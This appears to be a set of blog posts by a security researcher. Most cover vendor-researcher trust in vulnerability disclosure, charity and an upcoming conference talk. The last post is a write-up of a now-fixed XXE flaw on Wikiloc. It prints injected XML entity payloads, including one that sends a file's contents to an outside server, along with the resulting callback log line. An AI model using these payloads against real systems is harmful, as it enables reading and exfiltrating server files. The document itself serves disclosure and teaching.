I asked for full-disclosure of this reports so other users can learn something from it.
The OLX security report was also mentioned on a portuguese media site- Future Behind. If you know portuguese language feel free to read it.
This Summer my country – Portugal – is being devasted with wildfires in Portugal mainland and Madeira archipelago. More than 3000 firefighters made a huge effort to protect people and the forest. Most of them are volunteers so this is my small gift to them… I made a small donation to the local volunteers firefighters.
Guys I’ll be a speaker at BSides Lisbon 2016 with the talk – “The way of the bounty”.
If you want to know some of my tips and secrets on bug bounty programs don’t forget to schedule in your calendar – 11th November.
Yesterday I was exchanging some messages on Twitter – specially with Kymberlee Price (from BugCrowd) – about the relationship between vendors and security researchers when disclosing a security issue.
In my experience I know what’s the feeling of trying to help a vendor and they ignore you or in some extreme cases even “inviting” you to stop what you are doing on their website. Vendors need to understand that most security researchers are here to help – working in the same side against bad guys. The problem in this connection is trust.
Vendors don’t trust researchers.
Researchers are loosing trust on vendors. We need to fix it.
I had a bad experience with lots of big IT companies. Specially the ones I usually use on their products. I don’t go around companies and test vulnerabilities like crazy. I just like to feel more secure when using some web application.
In my opinion these are the main issues:
Lack of information on where to report a security issue
Security report gets lost in their support system
The vendor don’t reply back or just say it will be forward to the developing team
Vendor don’t update the security status
Researcher could even get threatened about the report
But not all vendors are like that. I already tried different approaches who seemed to work.
Email the vendor giving them a small presentation telling who you are and ask for the right person to deal with a security threat
After you got the email, try to schedule a online chat or even Skype meeting to establish some kind of trust between both parts.
Talk about that you found, the consequences and a possible solution.
If you manage to do all this I bet the treatment in the future will be better for you and for future researchers who try to contact them.
You as a researcher have the responsibility to prepare the path and improve the communication between vendors.
Don’t give them hell! Give them trust!
Even on bug bounty programs you have issues. Vendors who reply to your report in 1 year without even worrying about getting the researcher a feedback like:
We’re working on it. It will take some time, maybe weeks or months…
Even yesterday – Sean Mealia wrote on his Twitter that Uber changed their in-scope program after he sent a couple of security issues.
It also happened to me in a private program for a popular online newspaper. I reported a security issue where a attacker could steal users information and they categorized as “Informative” and fixed it in a couple of days.
This type of situations are not good for the business. Vendors must respect the researchers and visa-versa.
Well this are my thoughts about this, feel free to share yours in the comments section.
I’ve been blessed with the opportunity to help others in need so yesterday I delivered more food to a local animal shelter.
I was received with a big smile and warm hug from the shelter owner. I also had the chance of checking a 22 year old female dog called “Docas”. Such a sweet thing 🙂
Also I contributed with the yearly maintenance of the web hosting and domain of a public health institution. They care so much for their patients and give their best everyday so I decided they deserve a small help from my part.
Helping others is something that we all should do. You don’t need to donate money.
Sometimes just listening is helping…
Wikiloc is a place to discover and share the best outdoor trails for hiking, cycling and many other activities.
We are 1,725,606 members exploring and sharing 3,936,841 outdoor trails and 6,503,289 photos.
I was searching for a cool track to ride my bike [yes I love #cycling] and I created an account on Wikiloc.
I already known the site but never registered. Such a cool site in my opinion.
As a security researcher I always take a look on the web applications requests and transactions and after uploading a XML I remember to test Wikiloc for a XXE vulnerability. This is a very dangerous type of vulnerability and could be used by malicious users to compromise the server.
So let me explain what I did:
First I downloaded a .gpx file from Wikiloc to see the structure of the XML.
I injected the following line on top of the file:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>;
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
I uploaded the new .gpx file and got the following GET request on my server:
18.104.22.168 GET /XXE/?Debian 10/29/15 1:12 PM Java/1.7.0_51
With XXE you can do a variaty of things. A malicious user could upload files, check source-code, launch DDoS attacks, you name it.
This issue its already fixed by Wikiloc. They were very fast and concerned about this. It’s shows that they care about security.
Also they provided me with a token of appreciation (they know exactly how to please a cyclist 🙂 ) and also put my name on their contributors list.